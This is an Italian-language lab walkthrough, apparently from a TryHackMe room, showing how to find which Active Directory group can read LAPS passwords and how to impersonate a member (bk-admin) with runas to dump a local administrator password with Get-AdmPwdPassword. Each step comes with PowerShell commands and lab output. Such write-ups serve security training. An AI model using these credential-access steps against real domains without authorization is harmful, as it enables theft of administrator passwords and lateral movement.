tags: Dumping_LAPS Windows_Privilage_Escalation Windows


Nel 2015, Microsoft ha rimosso la memorizzazione della password crittografata nella cartella SYSVOL. Ha introdotto la Local Administrator Password Solution (LAPS), che offre un approccio molto più sicuro alla gestione remota della password dell’amministratore locale.

Innanzitutto, controlliamo se LAPS è installato nel computer di destinazione, operazione che può essere eseguita controllando il percorso admpwd.dll.

C:\Users\thm>dir "C:\Program Files\LAPS\CSE"
 Volume in drive C has no label.
 Volume Serial Number is A8A4-C362
 
 Directory of C:\Program Files\LAPS\CSE
 
06/06/2022  01:01 PM              .
06/06/2022  01:01 PM              ..
05/05/2021  07:04 AM           184,232 AdmPwd.dll
               1 File(s)        184,232 bytes
               2 Dir(s)  10,306,015,232 bytes free

L’output conferma che abbiamo LAPS sulla macchina. Controlliamo i comandi disponibili da utilizzare per i cmdlet AdmPwd come segue:

Get-Command *AdmPwd*

Successivamente, dobbiamo trovare quale unità organizzativa (OU) di AD ha l’attributo “Tutti i diritti estesi” che si occupa di LAPS. Utilizzeremo il cmdlet “Find-AdmPwdExtended Rights” per fornire l’unità organizzativa corretta. Tieni presente che è possibile ottenere le unità organizzative disponibili nella fase di enumerazione. La nostra destinazione dell’unità organizzativa in questo esempio è THMorg. È possibile utilizzare l’argomento -Identity * per elencare tutte le unità organizzative disponibili:

 
PS C:\Users\thm> Find-AdmPwdExtendedRights -Identity THMorg
 
ObjectDN                                      ExtendedRightHolders
--------                                      --------------------
OU=THMorg,DC=thm,DC=red                       {THM\THMGroupReader}
 
 
 
 
 
 
PS C:\Tools> Find-AdmPwdExtendedRights -Identity *
 
Name                 DistinguishedName                                                 Status
----                 -----------------                                                 ------
Domain Controllers   OU=Domain Controllers,DC=thm,DC=red                               Delegated
THMorg               OU=THMorg,DC=thm,DC=red                                           Delegated
 

L’output mostra che il gruppo THMGroupReader in THMorg ha il diritto di accesso a LAPS. Controlliamo il gruppo e i suoi membri:

PS C:\Users\thm> net groups "THMGroupReader"
Group name     THMGroupReader
Comment
 
Members
 
-------------------------------------------------------------------------------
bk-admin
The command completed successfully.

Abbiamo scoperto che l’utente bk-admin è un membro di THMGroupReader, quindi per ottenere la password LAPS dobbiamo compromettere o impersonare l’utente bk-admin. Dopo aver compromesso l’utente corretto, possiamo ottenere la password LAPS utilizzando il cmdlet Get-AdmPwdPassword fornendo al computer di destinazione LAPS abilitato.

Per impersonare l’utente bk-admin possiamo utilizzare il seguente comando su una CMD:

 
runas /user:bk-admin powershell.exe
 
Enter the password for bk-admin:
 

Dopo aver inserito la password ci apparirà una Powershell con i permessi i di bk-admin.

Dalla shell con i permessi digitiamo:

 
Get-AdmPwdPassword -ComputerName Creds-Harvestin
 
ComputerName         DistinguishedName                             Password           ExpirationTimestamp
------------         -----------------                             --------           -------------------
CREDS-HARVESTIN      CN=CREDS-HARVESTIN,OU=THMorg,DC=thm,DC=red    THMLAPSPassw0rd    2/11/2338 11:05:2...